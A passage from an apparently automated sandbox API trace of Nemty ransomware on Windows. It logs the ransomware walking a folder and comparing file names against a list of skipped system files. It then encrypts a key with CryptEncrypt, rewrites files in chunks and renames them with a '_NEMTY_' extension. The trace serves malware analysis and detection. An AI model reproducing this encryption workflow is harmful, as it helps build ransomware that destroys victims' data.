lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.695] CloseHandle (hObject=0xffffffff) returned 0 [0162.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0162.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0162.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0162.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0162.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0162.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_rainy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_rainy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_rainy.png._nemty_kgobjgd_")) returned 0 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.695] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b9e404d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3369, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_snow.png", cAlternateFileName="")) returned 1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2=".") returned 1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="..") returned 1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="...") returned 1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="windows") returned -1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="$RECYCLE.BIN") returned 1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="rsa") returned -1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="NTDETECT.COM") returned -1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="ntldr") returned -1 [0162.695] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="MSDOS.SYS") returned -1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="IO.SYS") returned -1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="boot.ini") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="boot.ini") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="ntuser.dat") returned -1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="desktop.ini") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="CONFIG.SYS") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="RECYCLER") returned -1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="BOOTSECT.BAK") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="bootmgr") returned 1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="programdata") returned -1 [0162.696] lstrcmpiW (lpString1="docked_black_snow.png", lpString2="appdata") returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_snow.png", lpUsedDefaultChar=0x0) returned 21 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_snow.png", lpUsedDefaultChar=0x0) returned 21 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_snow.png", lpUsedDefaultChar=0x0) returned 21 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_snow.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_snow.png", lpUsedDefaultChar=0x0) returned 21 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0162.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0162.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0162.696] Sleep (dwMilliseconds=0x5) [0162.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14a089f0, dwHighDateTime=0x1d561e8)) [0162.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14a089f0, dwHighDateTime=0x1d561e8)) [0162.706] GetLastError () returned 0x5 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.706] GetLastError () returned 0x5 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0162.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.706] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0162.706] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="2eSJLp9F/fl598tWqjzX5WJR78sLsKZWcCHdz7ZoAz5dxrqJW2EI1vlsdq5dklT5\r\nGcUbJn8aHbxeokE7MgtBWDOTfNOst7BgtO8pNHp3JGpB2hI51xIT34hiXV7RgHd6\r\nRPmBNdsVHeyAIzzHDgvCxpYdjV1hziMCJg0No4mbEhqfj7mS7bQM4U8mq8sqpxLR\r\nLDiOOnBnMITDs9ZYChYH2hwqMJdPew4Vx6LY5x3/JJBfQ6uixoX9UVKDzyx25C9n\r\nxXsKmEk9gLn6xEZZ2cKx6e5Yfnl6xfvZj+vTgefEmeF0sLaHgFVDza1cZyLj7Li2\r\nZJfWy9TEl7JJjI2FN/5YOw==\r\n", pcchString=0x653e91c) returned 1 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0162.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0162.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.706] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_snow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.707] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | 